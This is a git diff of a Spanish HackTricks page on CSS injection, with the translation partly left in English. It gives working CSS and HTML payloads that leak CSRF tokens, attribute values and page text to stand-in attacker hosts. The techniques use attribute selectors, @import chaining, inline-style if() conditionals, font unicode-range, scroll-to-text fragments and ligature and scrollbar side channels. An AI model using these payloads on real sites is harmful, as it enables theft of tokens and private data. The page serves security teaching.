mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/pentesting-web/xs-search/css-injection/README.md']
This commit is contained in:
parent
d6af63b8da
commit
6188894bc0
@ -4,9 +4,9 @@
|
||||
|
||||
## CSS Injection
|
||||
|
||||
### Selector de Atributo
|
||||
### Attribute Selector
|
||||
|
||||
Los selectores CSS están diseñados para coincidir con los valores de los atributos `name` y `value` de un elemento `input`. Si el atributo de valor del elemento de entrada comienza con un carácter específico, se carga un recurso externo predefinido:
|
||||
Los selectores CSS se crean para coincidir con los valores de los atributos `name` y `value` de un elemento `input`. Si el atributo `value` del elemento `input` comienza con un carácter específico, se carga un recurso externo predefinido:
|
||||
```css
|
||||
input[name="csrf"][value^="a"] {
|
||||
background-image: url(https://attacker.com/exfil/a);
|
||||
@ -19,30 +19,30 @@ input[name="csrf"][value^="9"] {
|
||||
background-image: url(https://attacker.com/exfil/9);
|
||||
}
|
||||
```
|
||||
Sin embargo, este enfoque enfrenta una limitación al tratar con elementos de entrada ocultos (`type="hidden"`) porque los elementos ocultos no cargan fondos.
|
||||
Sin embargo, este enfoque presenta una limitación al tratar con elementos input ocultos (`type="hidden"`), ya que los elementos ocultos no cargan fondos.
|
||||
|
||||
#### Bypass para Elementos Ocultos
|
||||
#### Bypass para elementos ocultos
|
||||
|
||||
Para eludir esta limitación, puedes dirigirte a un elemento hermano siguiente utilizando el combinador de hermanos generales `~`. La regla CSS se aplica entonces a todos los hermanos que siguen al elemento de entrada oculto, haciendo que la imagen de fondo se cargue:
|
||||
Para eludir esta limitación, puedes apuntar a un elemento hermano posterior usando el combinador general de hermanos `~`. La regla CSS entonces se aplica a todos los hermanos que siguen al elemento input oculto, provocando que la imagen de fondo se cargue:
|
||||
```css
|
||||
input[name="csrf"][value^="csrF"] ~ * {
|
||||
background-image: url(https://attacker.com/exfil/csrF);
|
||||
}
|
||||
```
|
||||
Un ejemplo práctico de explotación de esta técnica se detalla en el fragmento de código proporcionado. Puedes verlo [aquí](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e).
|
||||
Un ejemplo práctico de explotación de esta técnica está detallado en el fragmento de código proporcionado. Puedes verlo [aquí](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e).
|
||||
|
||||
#### Prerrequisitos para la Inyección de CSS
|
||||
#### Prerrequisitos para CSS Injection
|
||||
|
||||
Para que la técnica de inyección de CSS sea efectiva, deben cumplirse ciertas condiciones:
|
||||
Para que la técnica CSS Injection sea efectiva, se deben cumplir ciertas condiciones:
|
||||
|
||||
1. **Longitud de la Carga Útil**: El vector de inyección de CSS debe soportar cargas útiles suficientemente largas para acomodar los selectores elaborados.
|
||||
2. **Reevaluación de CSS**: Debes tener la capacidad de enmarcar la página, lo cual es necesario para activar la reevaluación de CSS con cargas útiles recién generadas.
|
||||
3. **Recursos Externos**: La técnica asume la capacidad de usar imágenes alojadas externamente. Esto podría estar restringido por la Política de Seguridad de Contenido (CSP) del sitio.
|
||||
1. **Payload Length**: El vector de inyección CSS debe soportar payloads lo suficientemente largos para acomodar los selectores creados.
|
||||
2. **CSS Re-evaluation**: Debes tener la capacidad de enmarcar la página, lo cual es necesario para activar la re-evaluación del CSS con payloads recién generados.
|
||||
3. **External Resources**: La técnica asume la posibilidad de usar imágenes alojadas externamente. Esto podría estar restringido por la política de seguridad de contenido (CSP) del sitio.
|
||||
|
||||
### Selector de Atributo Ciego
|
||||
### Blind Attribute Selector
|
||||
|
||||
Como [**se explica en esta publicación**](https://portswigger.net/research/blind-css-exfiltration), es posible combinar los selectores **`:has`** y **`:not`** para identificar contenido incluso de elementos ciegos. Esto es muy útil cuando no tienes idea de qué hay dentro de la página web que carga la inyección de CSS.\
|
||||
También es posible usar esos selectores para extraer información de varios bloques del mismo tipo como en:
|
||||
Como [**explicado en esta publicación**](https://portswigger.net/research/blind-css-exfiltration), es posible combinar los selectores **`:has`** y **`:not`** para identificar contenido incluso desde elementos ciegos. Esto es muy útil cuando no tienes idea de qué hay dentro de la página web que carga la inyección de CSS.\
|
||||
También es posible usar esos selectores para extraer información de varios bloques del mismo tipo, como en:
|
||||
```html
|
||||
<style>
|
||||
html:has(input[name^="m"]):not(input[name="mytoken"]) {
|
||||
@ -52,59 +52,95 @@ background: url(/m);
|
||||
<input name="mytoken" value="1337" />
|
||||
<input name="myname" value="gareth" />
|
||||
```
|
||||
Combinando esto con la siguiente técnica de **@import**, es posible exfiltrar mucha **info usando inyección CSS desde páginas ciegas con** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
|
||||
Combinando esto con la siguiente técnica **@import**, es posible exfiltrar mucha **info usando CSS injection desde blind pages con** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
|
||||
|
||||
### @import
|
||||
|
||||
La técnica anterior tiene algunas desventajas, consulta los requisitos previos. Necesitas poder **enviar múltiples enlaces a la víctima**, o necesitas poder **iframe la página vulnerable a la inyección CSS**.
|
||||
La técnica anterior tiene algunas desventajas, revisa los requisitos previos. O bien necesitas poder **enviar múltiples enlaces a la víctima**, o necesitas poder **iframe la página vulnerable a CSS injection**.
|
||||
|
||||
Sin embargo, hay otra técnica ingeniosa que utiliza **CSS `@import`** para mejorar la calidad de la técnica.
|
||||
|
||||
Esto fue mostrado por primera vez por [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) y funciona así:
|
||||
|
||||
En lugar de cargar la misma página una y otra vez con decenas de diferentes cargas útiles cada vez (como en la anterior), vamos a **cargar la página solo una vez y solo con una importación al servidor del atacante** (esta es la carga útil que se enviará a la víctima):
|
||||
En lugar de cargar la misma página una y otra vez con decenas de payloads diferentes cada vez (como en la anterior), vamos a **cargar la página solo una vez y solo con un import al servidor del atacante** (este es el payload para enviar a la víctima):
|
||||
```css
|
||||
@import url("//attacker.com:5001/start?");
|
||||
```
|
||||
1. La importación va a **recibir algún script CSS** de los atacantes y el **navegador lo cargará**.
|
||||
2. La primera parte del script CSS que el atacante enviará es **otro `@import` al servidor de los atacantes nuevamente.**
|
||||
1. El servidor de los atacantes no responderá a esta solicitud aún, ya que queremos filtrar algunos caracteres y luego responder a esta importación con la carga útil para filtrar los siguientes.
|
||||
3. La segunda y mayor parte de la carga útil va a ser una **carga útil de filtrado de selectores de atributos**
|
||||
1. Esto enviará al servidor de los atacantes el **primer carácter del secreto y el último.**
|
||||
4. Una vez que el servidor de los atacantes haya recibido el **primer y último carácter del secreto**, **responderá a la importación solicitada en el paso 2**.
|
||||
1. La respuesta va a ser exactamente la misma que en los **pasos 2, 3 y 4**, pero esta vez intentará **encontrar el segundo carácter del secreto y luego el penúltimo**.
|
||||
1. The import is going to **recibir algún script CSS** from the attackers and the **browser will load it**.
|
||||
2. The first part of the CSS script the attacker will send is **another `@import` to the attackers server again.**
|
||||
1. The attackers server won't respond this request yet, as we want to leak some chars and then respond this import with the payload to leak the next ones.
|
||||
3. The second and bigger part of the payload is going to be an **attribute selector leakage payload**
|
||||
1. This will send to the attackers server the **first char of the secret and the last one**
|
||||
4. Once the attackers server has received the **first and last char of the secret**, it will **respond the import requested in the step 2**.
|
||||
1. The response is going to be exactly the same as the **steps 2, 3 and 4**, but this time it will try to **find the second char of the secret and then penultimate**.
|
||||
|
||||
El atacante **seguirá ese bucle hasta que logre filtrar completamente el secreto**.
|
||||
El atacante f**ollow that loop until it manages to leak completely the secret**.
|
||||
|
||||
Puedes encontrar el [**código original de Pepe Vila para explotar esto aquí**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) o puedes encontrar casi el [**mismo código pero comentado aquí**.](./#css-injection)
|
||||
You can find the original [**El código original de Pepe Vila para explotar esto aquí**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) or you can find almost the [**mismo código pero comentado aquí**.](#css-injection)
|
||||
|
||||
> [!NOTE]
|
||||
> El script intentará descubrir 2 caracteres cada vez (desde el principio y desde el final) porque el selector de atributos permite hacer cosas como:
|
||||
> [!TIP]
|
||||
> El script intentará descubrir 2 caracteres cada vez (desde el principio y desde el final) porque el selector de atributo permite hacer cosas como:
|
||||
>
|
||||
> ```css
|
||||
> /* value^= para coincidir con el principio del valor*/
|
||||
> /* value^= to match the beggining of the value*/
|
||||
> input[value^="0"] {
|
||||
> --s0: url(http://localhost:5001/leak?pre=0);
|
||||
> --s0: url(http://localhost:5001/leak?pre=0);
|
||||
> }
|
||||
>
|
||||
> /* value$= para coincidir con el final del valor*/
|
||||
> /* value$= to match the ending of the value*/
|
||||
> input[value$="f"] {
|
||||
> --e0: url(http://localhost:5001/leak?post=f);
|
||||
> --e0: url(http://localhost:5001/leak?post=f);
|
||||
> }
|
||||
> ```
|
||||
>
|
||||
> Esto permite que el script filtre el secreto más rápido.
|
||||
> Esto permite que el script filtrar el secret más rápido.
|
||||
|
||||
> [!WARNING]
|
||||
> A veces el script **no detecta correctamente que el prefijo + sufijo descubierto ya es la bandera completa** y continuará hacia adelante (en el prefijo) y hacia atrás (en el sufijo) y en algún momento se colgará.\
|
||||
> No te preocupes, solo revisa la **salida** porque **puedes ver la bandera allí**.
|
||||
> Sometimes the script **doesn't detect correctly that the prefix + suffix discovered is already the complete flag** and it will continue forwards (in the prefix) and backwards (in the suffix) and at some point it will hang.\
|
||||
> No te preocupes, sólo revisa la **output** porque **puedes ver la flag allí**.
|
||||
|
||||
### Inline-Style CSS Exfiltration (attr() + if() + image-set())
|
||||
|
||||
This primitive enables exfiltration using only an element's inline style attribute, without selectors or external stylesheets. It relies on CSS custom properties, the attr() function to read same-element attributes, the new CSS if() conditionals for branching, and image-set() to trigger a network request that encodes the matched value.
|
||||
|
||||
> [!WARNING]
|
||||
> Las comparaciones de igualdad en if() requieren comillas dobles para literales de cadena. Las comillas simples no coincidirán.
|
||||
|
||||
- Sink: controlar el atributo style de un elemento y asegurarse de que el atributo objetivo esté en el mismo elemento (attr() sólo lee atributos del mismo elemento).
|
||||
- Read: copiar el atributo a una variable CSS: `--val: attr(title)`.
|
||||
- Decide: seleccionar una URL usando condicionales anidados comparando la variable con candidatas de cadena: `--steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2))`.
|
||||
- Exfiltrate: aplicar `background: image-set(var(--steal))` (o cualquier propiedad que haga fetching) para forzar una petición al endpoint elegido.
|
||||
|
||||
Attempt (does not work; single quotes in comparison):
|
||||
```html
|
||||
<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>
|
||||
```
|
||||
Payload funcional (se requieren comillas dobles en la comparación):
|
||||
```html
|
||||
<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>
|
||||
```
|
||||
Enumerando valores de atributos con condicionales anidados:
|
||||
```html
|
||||
<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>
|
||||
```
|
||||
Demostración realista (sondeo de nombres de usuario):
|
||||
```html
|
||||
<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>
|
||||
```
|
||||
Notas y limitaciones:
|
||||
|
||||
- Funciona en navegadores basados en Chromium al momento de la investigación; el comportamiento puede diferir en otros motores.
|
||||
- Más adecuado para espacios de valores finitos/enumerables (IDs, flags, short usernames). Robar cadenas arbitrariamente largas sin hojas de estilo externas sigue siendo desafiante.
|
||||
- Cualquier propiedad CSS que obtenga una URL puede usarse para desencadenar la petición (p. ej., background/image-set, border-image, list-style, cursor, content).
|
||||
|
||||
Automatización: a Burp Custom Action can generate nested inline-style payloads to brute-force attribute values: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda
|
||||
|
||||
### Otros selectores
|
||||
|
||||
Otras formas de acceder a partes del DOM con **selectores CSS**:
|
||||
Otras formas de acceder a partes del DOM con **CSS selectors**:
|
||||
|
||||
- **`.class-to-search:nth-child(2)`**: Esto buscará el segundo elemento con la clase "class-to-search" en el DOM.
|
||||
- **`:empty`** selector: Usado por ejemplo en [**este informe**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
|
||||
- **`:empty`** selector: Used for example in [**this writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
|
||||
|
||||
```css
|
||||
[role^="img"][aria-label="1"]:empty {
|
||||
@ -112,11 +148,11 @@ background-image: url("YOUR_SERVER_URL?1");
|
||||
}
|
||||
```
|
||||
|
||||
### Búsqueda XS basada en errores
|
||||
### XS-Search basado en errores
|
||||
|
||||
**Referencia:** [Ataque basado en CSS: Abusando de unicode-range de @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [PoC de Búsqueda XS basada en errores por @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
|
||||
**Referencia:** [CSS based Attack: Abusing unicode-range of @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
|
||||
|
||||
La intención general es **usar una fuente personalizada de un endpoint controlado** y asegurarse de que **el texto (en este caso, 'A') se muestre con esta fuente solo si el recurso especificado (`favicon.ico`) no se puede cargar**.
|
||||
La intención general es **usar una fuente personalizada desde un endpoint controlado** y asegurarse de que **el texto (en este caso, 'A') se muestre con esta fuente solo si el recurso especificado (`favicon.ico`) no se puede cargar**.
|
||||
```html
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
@ -138,49 +174,49 @@ font-family: "poc";
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
1. **Uso de Fuentes Personalizadas**:
|
||||
1. **Uso de fuente personalizada**:
|
||||
|
||||
- Se define una fuente personalizada utilizando la regla `@font-face` dentro de una etiqueta `<style>` en la sección `<head>`.
|
||||
- La fuente se llama `poc` y se obtiene de un endpoint externo (`http://attacker.com/?leak`).
|
||||
- Se define una fuente personalizada usando la regla `@font-face` dentro de una etiqueta `<style>` en la sección `<head>`.
|
||||
- La fuente se llama `poc` y se obtiene desde un endpoint externo (`http://attacker.com/?leak`).
|
||||
- La propiedad `unicode-range` se establece en `U+0041`, apuntando al carácter Unicode específico 'A'.
|
||||
|
||||
2. **Elemento Object con Texto de Respaldo**:
|
||||
2. **Elemento `<object>` con texto de reserva**:
|
||||
- Se crea un elemento `<object>` con `id="poc0"` en la sección `<body>`. Este elemento intenta cargar un recurso desde `http://192.168.0.1/favicon.ico`.
|
||||
- La `font-family` para este elemento se establece en `'poc'`, como se define en la sección `<style>`.
|
||||
- Si el recurso (`favicon.ico`) no se carga, el contenido de respaldo (la letra 'A') dentro de la etiqueta `<object>` se muestra.
|
||||
- El contenido de respaldo ('A') se renderizará utilizando la fuente personalizada `poc` si no se puede cargar el recurso externo.
|
||||
- El `font-family` de este elemento se establece en `'poc'`, como se definió en la sección `<style>`.
|
||||
- Si el recurso (`favicon.ico`) no se carga, se mostrará el contenido de reserva (la letra 'A') dentro de la etiqueta `<object>`.
|
||||
- El contenido de reserva ('A') se renderizará usando la fuente personalizada `poc` si no se puede cargar el recurso externo.
|
||||
|
||||
### Estilizando Fragmentos de Texto con Scroll
|
||||
### Estilizando el fragmento Scroll-to-text
|
||||
|
||||
La **`:target`** pseudo-clase se emplea para seleccionar un elemento dirigido por un **fragmento de URL**, como se especifica en la [CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo). Es crucial entender que `::target-text` no coincide con ningún elemento a menos que el texto sea explícitamente dirigido por el fragmento.
|
||||
La pseudoclase **`:target`** se emplea para seleccionar un elemento apuntado por un **fragmento de URL**, según lo especificado en la [CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo). Es crucial entender que `::target-text` no coincide con ningún elemento a menos que el texto sea apuntado explícitamente por el fragmento.
|
||||
|
||||
Surge una preocupación de seguridad cuando los atacantes explotan la característica de **Scroll-to-text**, lo que les permite confirmar la presencia de texto específico en una página web al cargar un recurso desde su servidor a través de inyección HTML. El método implica inyectar una regla CSS como esta:
|
||||
Surge una preocupación de seguridad cuando los atacantes explotan la característica **Scroll-to-text** fragment, lo que les permite confirmar la presencia de texto específico en una página web al cargar un recurso desde su servidor mediante inyección de HTML. El método implica inyectar una regla CSS como esta:
|
||||
```css
|
||||
:target::before {
|
||||
content: url(target.png);
|
||||
}
|
||||
```
|
||||
En tales escenarios, si el texto "Administrator" está presente en la página, el recurso `target.png` se solicita al servidor, indicando la presencia del texto. Un ejemplo de este ataque se puede ejecutar a través de una URL especialmente diseñada que incrusta el CSS inyectado junto con un fragmento Scroll-to-text:
|
||||
En tales escenarios, si el texto "Administrator" está presente en la página, el recurso `target.png` se solicita al servidor, indicando la presencia del texto. Una instancia de este ataque puede ejecutarse mediante una URL especialmente preparada que incrusta el CSS inyectado junto con un Scroll-to-text fragment:
|
||||
```
|
||||
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
|
||||
```
|
||||
Aquí, el ataque manipula la inyección de HTML para transmitir el código CSS, apuntando al texto específico "Administrator" a través del fragmento Scroll-to-text (`#:~:text=Administrator`). Si se encuentra el texto, se carga el recurso indicado, señalando inadvertidamente su presencia al atacante.
|
||||
Aquí, el ataque manipula una HTML injection para transmitir el código CSS, apuntando al texto específico "Administrator" mediante el Scroll-to-text fragment (`#:~:text=Administrator`). Si se encuentra el texto, se carga el recurso señalado, lo que inadvertidamente indica su presencia al atacante.
|
||||
|
||||
Para la mitigación, se deben tener en cuenta los siguientes puntos:
|
||||
Para la mitigación, deben tenerse en cuenta los siguientes puntos:
|
||||
|
||||
1. **Coincidencia STTF Constrainida**: El Fragmento Scroll-to-text (STTF) está diseñado para coincidir solo con palabras o frases, limitando así su capacidad para filtrar secretos o tokens arbitrarios.
|
||||
2. **Restricción a Contextos de Navegación de Nivel Superior**: El STTF opera únicamente en contextos de navegación de nivel superior y no funciona dentro de iframes, lo que hace que cualquier intento de explotación sea más notable para el usuario.
|
||||
3. **Necesidad de Activación del Usuario**: El STTF requiere un gesto de activación del usuario para operar, lo que significa que las explotaciones son viables solo a través de navegaciones iniciadas por el usuario. Este requisito mitiga considerablemente el riesgo de que los ataques sean automatizados sin interacción del usuario. Sin embargo, el autor de la publicación del blog señala condiciones específicas y bypasses (por ejemplo, ingeniería social, interacción con extensiones de navegador prevalentes) que podrían facilitar la automatización del ataque.
|
||||
1. **Constrained STTF Matching**: Scroll-to-text Fragment (STTF) está diseñado para coincidir solo con palabras o frases, limitando así su capacidad para leak secretos arbitrarios o tokens.
|
||||
2. **Restriction to Top-level Browsing Contexts**: STTF opera únicamente en top-level browsing contexts y no funciona dentro de iframes, lo que hace que cualquier intento de explotación sea más visible para el usuario.
|
||||
3. **Necessity of User Activation**: STTF requiere un user-activation gesture para operar, lo que significa que las explotaciones son factibles solo mediante navigations iniciadas por el usuario. Este requisito mitiga considerablemente el riesgo de que los ataques se automaticen sin interacción del usuario. No obstante, el autor del blog señala condiciones y bypasses específicos (p. ej., social engineering, interacción con browser extensions prevalentes) que podrían facilitar la automatización del ataque.
|
||||
|
||||
La conciencia de estos mecanismos y vulnerabilidades potenciales es clave para mantener la seguridad web y protegerse contra tácticas explotadoras.
|
||||
La conciencia de estos mecanismos y de las posibles vulnerabilidades es clave para mantener la seguridad web y protegerse contra tales tácticas explotativas.
|
||||
|
||||
Para más información, consulte el informe original: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
|
||||
Para más información consulta el informe original: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
|
||||
|
||||
Puede consultar un [**exploit utilizando esta técnica para un CTF aquí**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
|
||||
Puedes ver un [**exploit using this technique for a CTF here**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
|
||||
|
||||
### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
|
||||
|
||||
Puede especificar **fuentes externas para valores unicode específicos** que solo serán **recogidos si esos valores unicode están presentes** en la página. Por ejemplo:
|
||||
Puedes especificar **fuentes externas para valores unicode específicos** que solo serán **descargadas si esos valores unicode están presentes** en la página. Por ejemplo:
|
||||
```html
|
||||
<style>
|
||||
@font-face {
|
||||
@ -206,24 +242,24 @@ font-family: poc;
|
||||
<p id="sensitive-information">AB</p>
|
||||
htm
|
||||
```
|
||||
Cuando accedes a esta página, Chrome y Firefox obtienen "?A" y "?B" porque el nodo de texto de sensitive-information contiene los caracteres "A" y "B". Pero Chrome y Firefox no obtienen "?C" porque no contiene "C". Esto significa que hemos podido leer "A" y "B".
|
||||
Cuando accedes a esta página, Chrome y Firefox solicitan "?A" y "?B" porque el nodo de texto de sensitive-information contiene los caracteres "A" y "B". Pero Chrome y Firefox no solicitan "?C" porque no contiene "C". Esto significa que hemos podido leer "A" y "B".
|
||||
|
||||
### Exfiltración de nodos de texto (I): ligaduras <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
|
||||
### Text node exfiltration (I): ligatures <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
|
||||
|
||||
**Referencia:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
|
||||
|
||||
La técnica descrita implica extraer texto de un nodo aprovechando las ligaduras de fuentes y monitoreando cambios en el ancho. El proceso implica varios pasos:
|
||||
La técnica descrita consiste en extraer texto de un nodo explotando font ligatures y monitorizando cambios en el ancho. El proceso implica varios pasos:
|
||||
|
||||
1. **Creación de fuentes personalizadas**:
|
||||
1. **Creation of Custom Fonts**:
|
||||
|
||||
- Se crean fuentes SVG con glifos que tienen un atributo `horiz-adv-x`, que establece un ancho grande para un glifo que representa una secuencia de dos caracteres.
|
||||
- Se crean fuentes SVG con glifos que tienen un atributo `horiz-adv-x`, que fija un ancho grande para un glifo que representa una secuencia de dos caracteres.
|
||||
- Ejemplo de glifo SVG: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, donde "XY" denota una secuencia de dos caracteres.
|
||||
- Estas fuentes se convierten a formato woff usando fontforge.
|
||||
- Estas fuentes se convierten luego a formato woff usando fontforge.
|
||||
|
||||
2. **Detección de cambios de ancho**:
|
||||
2. **Detection of Width Changes**:
|
||||
|
||||
- Se utiliza CSS para asegurar que el texto no se ajuste (`white-space: nowrap`) y para personalizar el estilo de la barra de desplazamiento.
|
||||
- La aparición de una barra de desplazamiento horizontal, estilizada de manera distinta, actúa como un indicador (oráculo) de que una ligadura específica, y por lo tanto una secuencia de caracteres específica, está presente en el texto.
|
||||
- Se utiliza CSS para asegurar que el texto no se divida en varias líneas (`white-space: nowrap`) y para personalizar el estilo de la scrollbar.
|
||||
- La aparición de una barra de desplazamiento horizontal, estilizada de forma distintiva, actúa como un indicador (oráculo) de que una ligature específica, y por tanto una secuencia de caracteres concreta, está presente en el texto.
|
||||
- El CSS involucrado:
|
||||
```css
|
||||
body {
|
||||
@ -237,30 +273,30 @@ background: url(http://attacker.com/?leak);
|
||||
}
|
||||
```
|
||||
|
||||
3. **Proceso de explotación**:
|
||||
3. **Exploit Process**:
|
||||
|
||||
- **Paso 1**: Se crean fuentes para pares de caracteres con un ancho sustancial.
|
||||
- **Paso 2**: Se emplea un truco basado en la barra de desplazamiento para detectar cuándo se renderiza el glifo de gran ancho (ligadura para un par de caracteres), indicando la presencia de la secuencia de caracteres.
|
||||
- **Paso 3**: Al detectar una ligadura, se generan nuevos glifos que representan secuencias de tres caracteres, incorporando el par detectado y añadiendo un carácter anterior o posterior.
|
||||
- **Paso 4**: Se lleva a cabo la detección de la ligadura de tres caracteres.
|
||||
- **Paso 5**: El proceso se repite, revelando progresivamente todo el texto.
|
||||
- **Step 1**: Se crean fuentes para pares de caracteres con un ancho sustancial.
|
||||
- **Step 2**: Se emplea el truco basado en la scrollbar para detectar cuando se renderiza el glifo de gran ancho (ligature para un par de caracteres), indicando la presencia de la secuencia de caracteres.
|
||||
- **Step 3**: Al detectar una ligature, se generan nuevos glifos que representan secuencias de tres caracteres, incorporando el par detectado y añadiendo un carácter precedente o sucesivo.
|
||||
- **Step 4**: Se detecta la ligature de tres caracteres.
|
||||
- **Step 5**: El proceso se repite, revelando progresivamente todo el texto.
|
||||
|
||||
4. **Optimización**:
|
||||
4. **Optimization**:
|
||||
- El método de inicialización actual usando `<meta refresh=...` no es óptimo.
|
||||
- Un enfoque más eficiente podría involucrar el truco de CSS `@import`, mejorando el rendimiento de la explotación.
|
||||
- Un enfoque más eficiente podría implicar el truco de `@import` en CSS, mejorando el rendimiento del exploit.
|
||||
|
||||
### Exfiltración de nodos de texto (II): filtrando el charset con una fuente predeterminada (sin requerir activos externos) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
### Text node exfiltration (II): leaking the charset with a default font (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**Referencia:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
|
||||
|
||||
Este truco fue publicado en este [**hilo de Slackers**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/). El charset utilizado en un nodo de texto puede ser filtrado **usando las fuentes predeterminadas** instaladas en el navegador: no se necesitan fuentes externas o personalizadas.
|
||||
Este truco se publicó en este [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/). El charset usado en un nodo de texto puede ser leaked **usando las fuentes por defecto** instaladas en el navegador: no se necesitan fuentes externas ni personalizadas.
|
||||
|
||||
El concepto gira en torno a utilizar una animación para expandir gradualmente el ancho de un `div`, permitiendo que un carácter a la vez transicione de la parte 'sufijo' del texto a la parte 'prefijo'. Este proceso divide efectivamente el texto en dos secciones:
|
||||
El concepto gira en torno a utilizar una animación para expandir incrementalmente el ancho de un `div`, permitiendo que un carácter a la vez pase de la parte 'suffix' del texto a la parte 'prefix'. Este proceso divide efectivamente el texto en dos secciones:
|
||||
|
||||
1. **Prefijo**: La línea inicial.
|
||||
2. **Sufijo**: La(s) línea(s) subsiguiente(s).
|
||||
1. **Prefix**: La línea inicial.
|
||||
2. **Suffix**: La(s) línea(s) posterior(es).
|
||||
|
||||
Las etapas de transición de los caracteres aparecerían de la siguiente manera:
|
||||
Las etapas de la transición de los caracteres aparecerían así:
|
||||
|
||||
**C**\
|
||||
ADB
|
||||
@ -273,15 +309,15 @@ B
|
||||
|
||||
**CADB**
|
||||
|
||||
Durante esta transición, se emplea el **truco de rango unicode** para identificar cada nuevo carácter a medida que se une al prefijo. Esto se logra cambiando la fuente a Comic Sans, que es notablemente más alta que la fuente predeterminada, lo que provoca la aparición de una barra de desplazamiento vertical. La aparición de esta barra de desplazamiento revela indirectamente la presencia de un nuevo carácter en el prefijo.
|
||||
Durante esta transición se emplea el **unicode-range trick** para identificar cada nuevo carácter a medida que se incorpora al prefix. Esto se logra cambiando la fuente a Comic Sans, que es notablemente más alta que la fuente por defecto, provocando consecuentemente una barra de desplazamiento vertical. La aparición de esta barra de desplazamiento revela indirectamente la presencia de un nuevo carácter en el prefix.
|
||||
|
||||
Aunque este método permite la detección de caracteres únicos a medida que aparecen, no especifica qué carácter se repite, solo que ha ocurrido una repetición.
|
||||
Aunque este método permite detectar caracteres únicos a medida que aparecen, no especifica cuál carácter está repetido, solo que ha ocurrido una repetición.
|
||||
|
||||
> [!NOTE]
|
||||
> Básicamente, el **rango unicode se utiliza para detectar un carácter**, pero como no queremos cargar una fuente externa, necesitamos encontrar otra manera.\
|
||||
> Cuando el **carácter** es **encontrado**, se le **asigna** la **fuente Comic Sans** preinstalada, que **hace** que el carácter sea **más grande** y **provoca una barra de desplazamiento** que **filtrará el carácter encontrado**.
|
||||
> [!TIP]
|
||||
> Básicamente, el **unicode-range se usa para detectar un carácter**, pero como no queremos cargar una fuente externa, necesitamos encontrar otra forma.\
|
||||
> Cuando el **carácter** es **encontrado**, se le **asigna** la preinstalada **Comic Sans font**, lo que **aumenta** el tamaño del carácter y **activa una barra de desplazamiento** que **leak el carácter encontrado**.
|
||||
|
||||
Revisa el código extraído de la PoC:
|
||||
Revisa el código extraído del PoC:
|
||||
```css
|
||||
/* comic sans is high (lol) and causes a vertical overflow */
|
||||
@font-face {
|
||||
@ -706,17 +742,17 @@ div::-webkit-scrollbar:vertical {
|
||||
